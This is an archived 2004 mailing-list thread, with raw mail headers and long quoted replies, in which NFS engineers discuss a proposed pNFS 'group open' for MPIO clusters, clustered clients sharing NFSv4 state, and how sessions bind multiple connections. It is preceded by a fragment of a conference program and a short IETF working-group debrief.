Ling, Emre Kiciman, and Armando Fox, Stanford University Path-Based Failure and Evolution Management Mike Y. Chen, University of California, Berkeley; Anthony Accardi, Tellme; Emre Kiciman, Stanford University; Dave Patterson, University of California, Berkeley; Armando Fox, Stanford University; Eric Brewer, University of California, Berkeley Consistent and Automatic Replica Regeneration Haifeng Yu, Intel Research Pittsburgh and Carnegie Mellon University; Amin Vahdat, University of California, San Diego 11-12:30: Jeff Chase, chair Total Recall: System Support for Automated Availability Management Ranjita Bhagwan, Kiran Tati, Yu-Chung Cheng, Stefan Savage, and Geoffrey M. Voelker, University of California, San Diego TimeLine: A High Performance Archive for a Distributed Object Store Chuang-Hue Moh and Barbara Liskov, MIT Computer Science and Artificial Intelligence Laboratory Explicit Control in the Batch-Aware Distributed File System John Bent, Douglas Thain, Andrea C. Arpaci-Dusseau, Remzi H. Arpaci-Dusseau, and Miron Livny, University of Wisconsin, Madison ========================================== Seoul debrief (Garth's impressions from the reports of others) - success -- area director Jon Peterson is now aware of the proposal to extend the charter of NFSv4 WG, and although in general IETF directors are discouraging long lived working groups, in this case he is receptive - next steps are to work with WG chairs to persuade and assist their deliberation on this proposal -- we don't know how long this step is, but it is not short garth >From dhildebz@eecs.umich.edu Fri Mar 19 09:21:25 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 99385 invoked from network); 19 Mar 2004 17:21:24 -0000 Received: from unknown (66.218.66.217) by m18.grp.scd.yahoo.com with QMQP; 19 Mar 2004 17:21:24 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta2.grp.scd.yahoo.com with SMTP; 19 Mar 2004 17:21:24 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i2JHKtdm013621 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 19 Mar 2004 12:20:56 -0500 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.11/8.12.11/Submit) with ESMTP id i2JHKtSS013618; Fri, 19 Mar 2004 12:20:55 -0500 X-Authentication-Warning: willow.eecs.umich.edu: dhildebz owned process doing -bs Date: Fri, 19 Mar 2004 12:20:55 -0500 (EST) To: ""'pnfs-reqs@yahoogroups.com'"" Cc: pnfs-ops@yahoogroups.com In-Reply-To: <30489F1321F5C343ACF6872B2CF7942A05D38938@PIKES.panasas.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: RE: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus Hi Benny, Did you mean, 'In the nfsv4 sessions world a (clustered) client may open simultaneous connections to servers associated with the same session' or 'In the nfsv4 sessions world a (clustered) client may open multiple simultaneous connections to a server that is associated with the same session' I'm assuming the first as I'm not even sure what the second one means...but I do not know a lot of about sessions. Dean On Wed, 17 Mar 2004, Halevy, Benny wrote: > I completely agree with Dave and I certainly don't think he's > crazy. > > I perceive this solution as a ""clustered"" implementation of a > nfsv4 client in which the v4 drivers in the client cluster are > cooperating and propagating state (e.g. file handles, stateids) > among each other. > > I believe that the server should not be able to distinguish > such client from a multi-homed client that may have several > ip addresses. > > In the nfsv4 sessions world a (clustered) client may open > multiple connections to the server that are associated with > the same session - this will make life for such client even > easier, I hope. > > Benny > > >-----Original Message----- > >From: Noveck, Dave [mailto:dnoveck@netapp.com] > >Sent: Wednesday, March 17, 2004 2:43 PM > >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com > >Subject: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open > > > > > >Andy wrote: > >> Do worry about this: is there anything stoping a compute node from > >using > >> OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as > >described > >> below? > > > >I'm going to say ""No"". I know this wasn't the answer that I > >gave at the > > > >conference call, (and might not be the answer I give at the next > >conference > >call :-), but listen to my reasoning before you decide I'm crazy. > > > >In order to resolve this issue it is necessary to get all philosophical > >and address the question ""What is a computer?"". I know lots of people > >have already hit delete but I hope somebody is still reading. > > > >Suppose I have an application cluster with 1K nodes and I put on my > >marketing > >hat (Gee, I hope I don't need a marketing jacket and tie, too :-) and > >say ""This is really a powerful computer with a thousand (maybe two > >thousand) > >CPU's"". Now that's marketing bullshit but it isn't exactly false. > >There > >are certainly tasks where you want a large number of CPU's sharing > >memory > >and a DSM arrangement's performance is going to suck. On the other > >hand, > >there are applications where having a thousand memories is going to be > >much > >better than trying to provide adequate memory bandwidth from a single > >memory > >to many many CPU's. > > > >So what's the point? I think the point is that as far as the > >NFS server > >is > >concerned, whether the computer that is talking to it is ""really"" a > >computer, > >i.e. it has CPU's sharing memory, or is only a computer qua marketing > >bullshit, > >i.e. a collection of cpu's that don't share memory, that use other > >methods to > >co-ordinate common activities, doesn't matter. All the server sees are > >the > >requests made and if the cluster represents itself as a single machine > >(i.e. > >in V4 does a single SETCLIENTID or in v4.1 maintains many connections > >bound to > >a single session), it is one. The server doesn't see the cluster's > >memory > >architecture. It sees an open and then use of that that stateid. The > >fact > >that it comes over a different IP address doesn't disqualify it. A > >server > >might have options to check that (as a matter of security) but it isn't > >part > >of the protocol and we already have clients with multiple IP addresses. > >Having > >a thousand of them is a difference of degree (and may pose > >implementation > >issues) but I don't see a real protocol issue. > > > >OK. Now you can decide if I'm crazy. > > > >-----Original Message----- > >From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] > >Sent: Wednesday, March 17, 2004 12:44 PM > >To: pnfs-reqs@yahoogroups.com > >Cc: pnfs-ops@yahoogroups.com; andros@citi.umich.edu > >Subject: [pnfs-ops] pNFS, MPIO, and client group open > > > > > >Sorry for the long email :) > > > >At the conclusion of the NEPS conference last November, Brent Welch > >emailed > >his notes as a starting point for a requirements document (attached). I > >use > >his pNFS extention language to describe a pNFS client using a 'normal > >open' > >servicing an open/write/close with direct access, and a large MPIO > >application > >using a proposed 'group open'. > > > >I note that my knowledge of parallel filesystems is growing, so please > >excuse > >any misconceptions, comments welcome... > > > >The architecture i'm picturing is a large cluster with a Parallel File > >System > >(PFS) > >consisting of PFS Meta data servers(PFS MD) and PFS NAS/SAN. I > >know it's > >only > >one of many architectures the pNFS set of extensions is trying to > >address. > > > >1000's of pNFS clients > >10's of pNFSd, one per PFS MD > >100's NAS/SAN > > > > > >'Normal' open > >******************** > >a) pNFS client issues a compound to one pNFSd consisting of: > >OPEN with share: Access/Deny > > Multiple pNFSds need to resolve share. > >DELEG_ASK: Request Byte-range Delegation > > Multiple pNFSds need to resolve delegation > >READ/WRITE_IND request direct data access > > pNFSd queries PFS MD to get location map > > > >b) pNFS client can then issue READ/WRITE directly to the NAS/SAN using > >the map > >returned in READ/WRITE_IND. > > > >c) pNFS client issues a compound to one pNFSd consisting of: > >COMMIT_IND: > >CLOSE > > > > > >An MPIO application opens one very large file, shared by 1000's of > >compute > >clients. Each compute client manipulates its portion of the file. The > >MPIO > >layer manages compute clients so that no client shares a byte range of > >the > >file with another. > > > >This MPIO application consists of > > - supervisor code running on 1 MPIO supervisor node > > - compute code running on 1000's of MPIO compute nodes > > > >This MPIO application has cyclic behavior. > >I) Read initial data > >II) compute intermediate result > >III) wait for other compute nodes to finish computing > >IV) all compute nodes write to file (their portion) > >V) compute nodes trade 'edge conditions' > >VI) goto II (compute). > > > >While the application is not in IV (writing), another application, say > >the > >visualizer, needs READ access to the file in order to crunch it for > >visualization. Visualization is needed to tell if the MPIO application > >intermediate results are converging on a solution. > > > >If in step IV all the compute nodes open/write/close as described above > >as the > >Normal open, the pNFSds will be doing a lot of metadata processing: > >resolving > >share and delegation state between themselves as well as delivering per > >byte-range layout info. The group open is designed to reduce the > >metadata > >processing from 1000's to one. > > > >I mention a couple of new fcntls used by the MPIO layer to communicate > >pNFS > >state from the supervisor node to the compute nodes. Don't worry about > >that(!). > > > >Do worry about this: is there anything stoping a compute node > >from using > >OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as > >described > >below? If so, are the changes to pNFS to make this work small enough to > >be > >considered at this time? > > > >Group Open > >********** > >step IV: supervisor OPENs file, all compute clients write file, > >supervisor > >CLOSES file. > > > >specifically: > >a) supervisor issues a compound with > >OPEN: Access - Both, Deny Both to a pNFSd > > - pNFSds need to resolve the share > > - is this a normal nfsv4 OPEN? does pNFSd or the PFS need to > >know > >about the other compute clients? > > - do we need the concept of a group clientid? > >DELEG_ASK: supervisor asks for WRITE delegation which should be > > granted given the OPEN Access-Both, Deny-Both share. > > - pNFSds need to resolve delegation request > >WRITE_IND: supervisor gets whole file layout info > > > >b) supervisor calls > > fcntl(fd, GET_GRPOPEN, cookie_buf); > > which returns the filehandle,stateid, and layout map from the > >supervisor pNFS. > > > >c) the supervisor code passes filehandle, stateid, and layout map to > >each > >compute > >node which calls > > fcntl(fd, SET_GRPOPEN, cookie_buf); > >the pNFS compute node client receives the filehandle, stateid, and > >layout map. > >performs a local open (nothing need go across the wire) stuffing the > >filehandle, stateid, and layout map into it's state tree just as if an > >across > >the wire OPEN/DELEG_ASK/WRITE_IND occured. > > > >d) compute clients use SET_GRPOPEN filehandle, stateid and map to > >directly > >write the data to the appropriate NAS/SAN > > - what besides the filehandle, stateid, and layout map is > >needed? > > - when done writing, each compute client issues a COMMIT_IND. > > > >e) when compute clients have flushed all data back to the file, > >supervisor > >issues a compound with > > > >CLOSE > > > > > > > > > >Yahoo! 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Terms of Service. > > >From bhalevy@panasas.com Fri Mar 19 11:32:41 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 44665 invoked from network); 19 Mar 2004 19:32:40 -0000 Received: from unknown (66.218.66.167) by m18.grp.scd.yahoo.com with QMQP; 19 Mar 2004 19:32:40 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 19 Mar 2004 19:32:39 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Fri, 19 Mar 2004 14:32:35 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D38951@PIKES.panasas.com> To: ""'dhildebz@eecs.umich.edu'"" Cc: ""'pnfs-ops@yahoogroups.com'"" , ""'pnfs-reqs@yahoogroups.com'"" Date: Fri, 19 Mar 2004 14:32:26 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy ADVERTISEMENT What I meant was In the nfsv4 sessions world a (clustered) client may open simultaneous connections to a server that are associated with the same session. Simply put: one session can have multiple connections associated with it. The proposed NFSv4 session model (http://www.ietf.org/internet-drafts/draft-talpey-nfsv4-rdma-sess-01.txt) have another abstraction, a channel, that needs to be thought of too. My intuition is that for a clustered client, which I think of as a single logical NFSv4 client, (i.e. all nfsv4 client instances share the same client id and state), we definitely want all connections to bind to the same session. It makes a lot of sense in this architecture to have separate operations channels and back channels for the client hosts, one or more of each per host. Assuming the client hosts do not share memory, it will be a burden on them to manage the per-channel resource management state. Benny >-----Original Message----- >From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >Sent: Friday, March 19, 2004 12:21 PM >To: 'pnfs-reqs@yahoogroups.com' >Cc: pnfs-ops@yahoogroups.com >Subject: RE: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group >open > > >Hi Benny, >Did you mean, > 'In the nfsv4 sessions world a (clustered) client may open > simultaneous connections to servers associated with the same session' >or > 'In the nfsv4 sessions world a (clustered) client may open > multiple simultaneous connections to a server that is associated with > the same session' > >I'm assuming the first as I'm not even sure what the second one >means...but I do not know a lot of about sessions. >Dean > >On Wed, 17 Mar 2004, Halevy, Benny wrote: > >> I completely agree with Dave and I certainly don't think he's >> crazy. >> >> I perceive this solution as a ""clustered"" implementation of a >> nfsv4 client in which the v4 drivers in the client cluster are >> cooperating and propagating state (e.g. file handles, stateids) >> among each other. >> >> I believe that the server should not be able to distinguish >> such client from a multi-homed client that may have several >> ip addresses. >> >> In the nfsv4 sessions world a (clustered) client may open >> multiple connections to the server that are associated with >> the same session - this will make life for such client even >> easier, I hope. >> >> Benny >> >> >-----Original Message----- >> >From: Noveck, Dave [mailto:dnoveck@netapp.com] >> >Sent: Wednesday, March 17, 2004 2:43 PM >> >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >> >Subject: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client >group open >> > >> > >> >Andy wrote: >> >> Do worry about this: is there anything stoping a compute node from >> >using >> >> OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >> >described >> >> below? >> > >> >I'm going to say ""No"". I know this wasn't the answer that I >> >gave at the >> > >> >conference call, (and might not be the answer I give at the next >> >conference >> >call :-), but listen to my reasoning before you decide I'm crazy. >> > >> >In order to resolve this issue it is necessary to get all >philosophical >> >and address the question ""What is a computer?"". I know >lots of people >> >have already hit delete but I hope somebody is still reading. >> > >> >Suppose I have an application cluster with 1K nodes and I put on my >> >marketing >> >hat (Gee, I hope I don't need a marketing jacket and tie, >too :-) and >> >say ""This is really a powerful computer with a thousand (maybe two >> >thousand) >> >CPU's"". Now that's marketing bullshit but it isn't exactly false. >> >There >> >are certainly tasks where you want a large number of CPU's sharing >> >memory >> >and a DSM arrangement's performance is going to suck. On the other >> >hand, >> >there are applications where having a thousand memories is >going to be >> >much >> >better than trying to provide adequate memory bandwidth >from a single >> >memory >> >to many many CPU's. >> > >> >So what's the point? I think the point is that as far as the >> >NFS server >> >is >> >concerned, whether the computer that is talking to it is ""really"" a >> >computer, >> >i.e. it has CPU's sharing memory, or is only a computer qua >marketing >> >bullshit, >> >i.e. a collection of cpu's that don't share memory, that use other >> >methods to >> >co-ordinate common activities, doesn't matter. All the >server sees are >> >the >> >requests made and if the cluster represents itself as a >single machine >> >(i.e. >> >in V4 does a single SETCLIENTID or in v4.1 maintains many >connections >> >bound to >> >a single session), it is one. The server doesn't see the cluster's >> >memory >> >architecture. It sees an open and then use of that that >stateid. The >> >fact >> >that it comes over a different IP address doesn't disqualify it. A >> >server >> >might have options to check that (as a matter of security) >but it isn't >> >part >> >of the protocol and we already have clients with multiple >IP addresses. >> >Having >> >a thousand of them is a difference of degree (and may pose >> >implementation >> >issues) but I don't see a real protocol issue. >> > >> >OK. Now you can decide if I'm crazy. >> > >> >-----Original Message----- >> >From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] >> >Sent: Wednesday, March 17, 2004 12:44 PM >> >To: pnfs-reqs@yahoogroups.com >> >Cc: pnfs-ops@yahoogroups.com; andros@citi.umich.edu >> >Subject: [pnfs-ops] pNFS, MPIO, and client group open >> > >> > >> >Sorry for the long email :) >> > >> >At the conclusion of the NEPS conference last November, Brent Welch >> >emailed >> >his notes as a starting point for a requirements document >(attached). I >> >use >> >his pNFS extention language to describe a pNFS client using >a 'normal >> >open' >> >servicing an open/write/close with direct access, and a large MPIO >> >application >> >using a proposed 'group open'. >> > >> >I note that my knowledge of parallel filesystems is >growing, so please >> >excuse >> >any misconceptions, comments welcome... >> > >> >The architecture i'm picturing is a large cluster with a >Parallel File >> >System >> >(PFS) >> >consisting of PFS Meta data servers(PFS MD) and PFS NAS/SAN. I >> >know it's >> >only >> >one of many architectures the pNFS set of extensions is trying to >> >address. >> > >> >1000's of pNFS clients >> >10's of pNFSd, one per PFS MD >> >100's NAS/SAN >> > >> > >> >'Normal' open >> >******************** >> >a) pNFS client issues a compound to one pNFSd consisting of: >> >OPEN with share: Access/Deny >> > Multiple pNFSds need to resolve share. >> >DELEG_ASK: Request Byte-range Delegation >> > Multiple pNFSds need to resolve delegation >> >READ/WRITE_IND request direct data access >> > pNFSd queries PFS MD to get location map >> > >> >b) pNFS client can then issue READ/WRITE directly to the >NAS/SAN using >> >the map >> >returned in READ/WRITE_IND. >> > >> >c) pNFS client issues a compound to one pNFSd consisting of: >> >COMMIT_IND: >> >CLOSE >> > >> > >> >An MPIO application opens one very large file, shared by 1000's of >> >compute >> >clients. Each compute client manipulates its portion of the >file. The >> >MPIO >> >layer manages compute clients so that no client shares a >byte range of >> >the >> >file with another. >> > >> >This MPIO application consists of >> > - supervisor code running on 1 MPIO supervisor node >> > - compute code running on 1000's of MPIO compute nodes >> > >> >This MPIO application has cyclic behavior. >> >I) Read initial data >> >II) compute intermediate result >> >III) wait for other compute nodes to finish computing >> >IV) all compute nodes write to file (their portion) >> >V) compute nodes trade 'edge conditions' >> >VI) goto II (compute). >> > >> >While the application is not in IV (writing), another >application, say >> >the >> >visualizer, needs READ access to the file in order to crunch it for >> >visualization. Visualization is needed to tell if the MPIO >application >> >intermediate results are converging on a solution. >> > >> >If in step IV all the compute nodes open/write/close as >described above >> >as the >> >Normal open, the pNFSds will be doing a lot of metadata processing: >> >resolving >> >share and delegation state between themselves as well as >delivering per >> >byte-range layout info. The group open is designed to reduce the >> >metadata >> >processing from 1000's to one. >> > >> >I mention a couple of new fcntls used by the MPIO layer to >communicate >> >pNFS >> >state from the supervisor node to the compute nodes. Don't >worry about >> >that(!). >> > >> >Do worry about this: is there anything stoping a compute node >> >from using >> >OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >> >described >> >below? If so, are the changes to pNFS to make this work >small enough to >> >be >> >considered at this time? >> > >> >Group Open >> >********** >> >step IV: supervisor OPENs file, all compute clients write file, >> >supervisor >> >CLOSES file. >> > >> >specifically: >> >a) supervisor issues a compound with >> >OPEN: Access - Both, Deny Both to a pNFSd >> > - pNFSds need to resolve the share >> > - is this a normal nfsv4 OPEN? does pNFSd or the PFS need to >> >know >> >about the other compute clients? >> > - do we need the concept of a group clientid? >> >DELEG_ASK: supervisor asks for WRITE delegation which should be >> > granted given the OPEN Access-Both, Deny-Both share. >> > - pNFSds need to resolve delegation request >> >WRITE_IND: supervisor gets whole file layout info >> > >> >b) supervisor calls >> > fcntl(fd, GET_GRPOPEN, cookie_buf); >> > which returns the filehandle,stateid, and layout >map from the >> >supervisor pNFS. >> > >> >c) the supervisor code passes filehandle, stateid, and layout map to >> >each >> >compute >> >node which calls >> > fcntl(fd, SET_GRPOPEN, cookie_buf); >> >the pNFS compute node client receives the filehandle, stateid, and >> >layout map. >> >performs a local open (nothing need go across the wire) stuffing the >> >filehandle, stateid, and layout map into it's state tree >just as if an >> >across >> >the wire OPEN/DELEG_ASK/WRITE_IND occured. >> > >> >d) compute clients use SET_GRPOPEN filehandle, stateid and map to >> >directly >> >write the data to the appropriate NAS/SAN >> > - what besides the filehandle, stateid, and layout map is >> >needed? >> > - when done writing, each compute client issues a >COMMIT_IND. >> > >> >e) when compute clients have flushed all data back to the file, >> >supervisor >> >issues a compound with >> > >> >CLOSE >> > >> > >> > >> > >> >Yahoo! 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Groups Links > > > > > >From Thomas.Talpey@netapp.com Fri Mar 19 20:00:18 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 80343 invoked from network); 20 Mar 2004 04:00:16 -0000 Received: from unknown (66.218.66.167) by m17.grp.scd.yahoo.com with QMQP; 20 Mar 2004 04:00:16 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 20 Mar 2004 04:00:16 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i2K40FZh029459; Fri, 19 Mar 2004 20:00:15 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i2K404Tt010051; Fri, 19 Mar 2004 20:00:15 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.35]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 19 Mar 2004 22:59:53 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C40E2F.CC79C280"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Fri, 19 Mar 2004 18:09:55 -0800 Message-ID: <6.0.3.0.2.20040319210159.01ec0508@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-ops] pNFS, MPIO, and client group open Thread-Index: AcQOL8zPrk1+CSVUSeO7GdDagJ+XWg== To: Cc: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: RE: [pnfs-ops] pNFS, MPIO, and client group open X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu I can tell you what the v4/sessions world might say - both. Currently the sessions proposal explores a single client opening multiple connections to a given server, then binding them together by a single session. This allows trunking, failover, etc. During the call I described that there is another possibility, that multiple servers can share a session. This would allow the client to stripe, in a similar way that the one-client-one-server trunks. In fact, we could also consider multiple clients sharing a session, but that makes my head hurt at the moment. Basically, you can think of a session as a mount point, abstracted to the server. The client would generally create one for each new mount, and bind both operation and callback channels to it. In the pNFS case, the server would exchange topology with the client, which in turn would lead to additional (parallel) pipes to the data being created and bound by the client. The important thing is that the whole picture hinges on the scope of the clientid (or sessionid). When we talk about a server-to-server protocol to allow standard server pooling, we effectively are making a way for this scope to be distributed. BTW I think we should defer that... Tom. [Do we really need to cc pnfs-reqs on these? Is everyone on both?] At 12:20 PM 3/19/2004, Dean Hildebrand wrote: >Hi Benny, >Did you mean, > 'In the nfsv4 sessions world a (clustered) client may open > simultaneous connections to servers associated with the same session' >or > 'In the nfsv4 sessions world a (clustered) client may open > multiple simultaneous connections to a server that is associated with > the same session' > >I'm assuming the first as I'm not even sure what the second one >means...but I do not know a lot of about sessions. >Dean > >On Wed, 17 Mar 2004, Halevy, Benny wrote: > >> I completely agree with Dave and I certainly don't think he's >> crazy. >> >> I perceive this solution as a ""clustered"" implementation of a >> nfsv4 client in which the v4 drivers in the client cluster are >> cooperating and propagating state (e.g. file handles, stateids) >> among each other. >> >> I believe that the server should not be able to distinguish >> such client from a multi-homed client that may have several >> ip addresses. >> >> In the nfsv4 sessions world a (clustered) client may open >> multiple connections to the server that are associated with >> the same session - this will make life for such client even >> easier, I hope. >> >> Benny >> >> >-----Original Message----- >> >From: Noveck, Dave [mailto:dnoveck@netapp.com] >> >Sent: Wednesday, March 17, 2004 2:43 PM >> >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >> >Subject: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open >> > >> > >> >Andy wrote: >> >> Do worry about this: is there anything stoping a compute node from >> >using >> >> OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >> >described >> >> below? >> > >> >I'm going to say ""No"". I know this wasn't the answer that I >> >gave at the >> > >> >conference call, (and might not be the answer I give at the next >> >conference >> >call :-), but listen to my reasoning before you decide I'm crazy. >> > >> >In order to resolve this issue it is necessary to get all philosophical >> >and address the question ""What is a computer?"". I know lots of people >> >have already hit delete but I hope somebody is still reading. >> > >> >Suppose I have an application cluster with 1K nodes and I put on my >> >marketing >> >hat (Gee, I hope I don't need a marketing jacket and tie, too :-) and >> >say ""This is really a powerful computer with a thousand (maybe two >> >thousand) >> >CPU's"". Now that's marketing bullshit but it isn't exactly false. >> >There >> >are certainly tasks where you want a large number of CPU's sharing >> >memory >> >and a DSM arrangement's performance is going to suck. On the other >> >hand, >> >there are applications where having a thousand memories is going to be >> >much >> >better than trying to provide adequate memory bandwidth from a single >> >memory >> >to many many CPU's. >> > >> >So what's the point? I think the point is that as far as the >> >NFS server >> >is >> >concerned, whether the computer that is talking to it is ""really"" a >> >computer, >> >i.e. it has CPU's sharing memory, or is only a computer qua marketing >> >bullshit, >> >i.e. a collection of cpu's that don't share memory, that use other >> >methods to >> >co-ordinate common activities, doesn't matter. All the server sees are >> >the >> >requests made and if the cluster represents itself as a single machine >> >(i.e. >> >in V4 does a single SETCLIENTID or in v4.1 maintains many connections >> >bound to >> >a single session), it is one. The server doesn't see the cluster's >> >memory >> >architecture. It sees an open and then use of that that stateid. The >> >fact >> >that it comes over a different IP address doesn't disqualify it. A >> >server >> >might have options to check that (as a matter of security) but it isn't >> >part >> >of the protocol and we already have clients with multiple IP addresses. >> >Having >> >a thousand of them is a difference of degree (and may pose >> >implementation >> >issues) but I don't see a real protocol issue. >> > >> >OK. Now you can decide if I'm crazy. >> > >> >-----Original Message----- >> >From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] >> >Sent: Wednesday, March 17, 2004 12:44 PM >> >To: pnfs-reqs@yahoogroups.com >> >Cc: pnfs-ops@yahoogroups.com; andros@citi.umich.edu >> >Subject: [pnfs-ops] pNFS, MPIO, and client group open >> > >> > >> >Sorry for the long email :) >> > >> >At the conclusion of the NEPS conference last November, Brent Welch >> >emailed >> >his notes as a starting point for a requirements document (attached). I >> >use >> >his pNFS extention language to describe a pNFS client using a 'normal >> >open' >> >servicing an open/write/close with direct access, and a large MPIO >> >application >> >using a proposed 'group open'. >> > >> >I note that my knowledge of parallel filesystems is growing, so please >> >excuse >> >any misconceptions, comments welcome... >> > >> >The architecture i'm picturing is a large cluster with a Parallel File >> >System >> >(PFS) >> >consisting of PFS Meta data servers(PFS MD) and PFS NAS/SAN. I >> >know it's >> >only >> >one of many architectures the pNFS set of extensions is trying to >> >address. >> > >> >1000's of pNFS clients >> >10's of pNFSd, one per PFS MD >> >100's NAS/SAN >> > >> > >> >'Normal' open >> >******************** >> >a) pNFS client issues a compound to one pNFSd consisting of: >> >OPEN with share: Access/Deny >> > Multiple pNFSds need to resolve share. >> >DELEG_ASK: Request Byte-range Delegation >> > Multiple pNFSds need to resolve delegation >> >READ/WRITE_IND request direct data access >> > pNFSd queries PFS MD to get location map >> > >> >b) pNFS client can then issue READ/WRITE directly to the NAS/SAN using >> >the map >> >returned in READ/WRITE_IND. >> > >> >c) pNFS client issues a compound to one pNFSd consisting of: >> >COMMIT_IND: >> >CLOSE >> > >> > >> >An MPIO application opens one very large file, shared by 1000's of >> >compute >> >clients. Each compute client manipulates its portion of the file. The >> >MPIO >> >layer manages compute clients so that no client shares a byte range of >> >the >> >file with another. >> > >> >This MPIO application consists of >> > - supervisor code running on 1 MPIO supervisor node >> > - compute code running on 1000's of MPIO compute nodes >> > >> >This MPIO application has cyclic behavior. >> >I) Read initial data >> >II) compute intermediate result >> >III) wait for other compute nodes to finish computing >> >IV) all compute nodes write to file (their portion) >> >V) compute nodes trade 'edge conditions' >> >VI) goto II (compute). >> > >> >While the application is not in IV (writing), another application, say >> >the >> >visualizer, needs READ access to the file in order to crunch it for >> >visualization. Visualization is needed to tell if the MPIO application >> >intermediate results are converging on a solution. >> > >> >If in step IV all the compute nodes open/write/close as described above >> >as the >> >Normal open, the pNFSds will be doing a lot of metadata processing: >> >resolving >> >share and delegation state between themselves as well as delivering per >> >byte-range layout info. The group open is designed to reduce the >> >metadata >> >processing from 1000's to one. >> > >> >I mention a couple of new fcntls used by the MPIO layer to communicate >> >pNFS >> >state from the supervisor node to the compute nodes. Don't worry about >> >that(!). >> > >> >Do worry about this: is there anything stoping a compute node >> >from using >> >OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >> >described >> >below? If so, are the changes to pNFS to make this work small enough to >> >be >> >considered at this time? >> > >> >Group Open >> >********** >> >step IV: supervisor OPENs file, all compute clients write file, >> >supervisor >> >CLOSES file. >> > >> >specifically: >> >a) supervisor issues a compound with >> >OPEN: Access - Both, Deny Both to a pNFSd >> > - pNFSds need to resolve the share >> > - is this a normal nfsv4 OPEN? does pNFSd or the PFS need to >> >know >> >about the other compute clients? >> > - do we need the concept of a group clientid? >> >DELEG_ASK: supervisor asks for WRITE delegation which should be >> > granted given the OPEN Access-Both, Deny-Both share. >> > - pNFSds need to resolve delegation request >> >WRITE_IND: supervisor gets whole file layout info >> > >> >b) supervisor calls >> > fcntl(fd, GET_GRPOPEN, cookie_buf); >> > which returns the filehandle,stateid, and layout map from the >> >supervisor pNFS. >> > >> >c) the supervisor code passes filehandle, stateid, and layout map to >> >each >> >compute >> >node which calls >> > fcntl(fd, SET_GRPOPEN, cookie_buf); >> >the pNFS compute node client receives the filehandle, stateid, and >> >layout map. >> >performs a local open (nothing need go across the wire) stuffing the >> >filehandle, stateid, and layout map into it's state tree just as if an >> >across >> >the wire OPEN/DELEG_ASK/WRITE_IND occured. >> > >> >d) compute clients use SET_GRPOPEN filehandle, stateid and map to >> >directly >> >write the data to the appropriate NAS/SAN >> > - what besides the filehandle, stateid, and layout map is >> >needed? >> > - when done writing, each compute client issues a COMMIT_IND. >> > >> >e) when compute clients have flushed all data back to the file, >> >supervisor >> >issues a compound with >> > >> >CLOSE >> > >> > >> > >> > >> >Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > >From julian_satran@il.ibm.com Sun Mar 21 15:10:05 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 77571 invoked from network); 21 Mar 2004 23:10:03 -0000 Received: from unknown (66.218.66.167) by m14.grp.scd.yahoo.com with QMQP; 21 Mar 2004 23:10:03 -0000 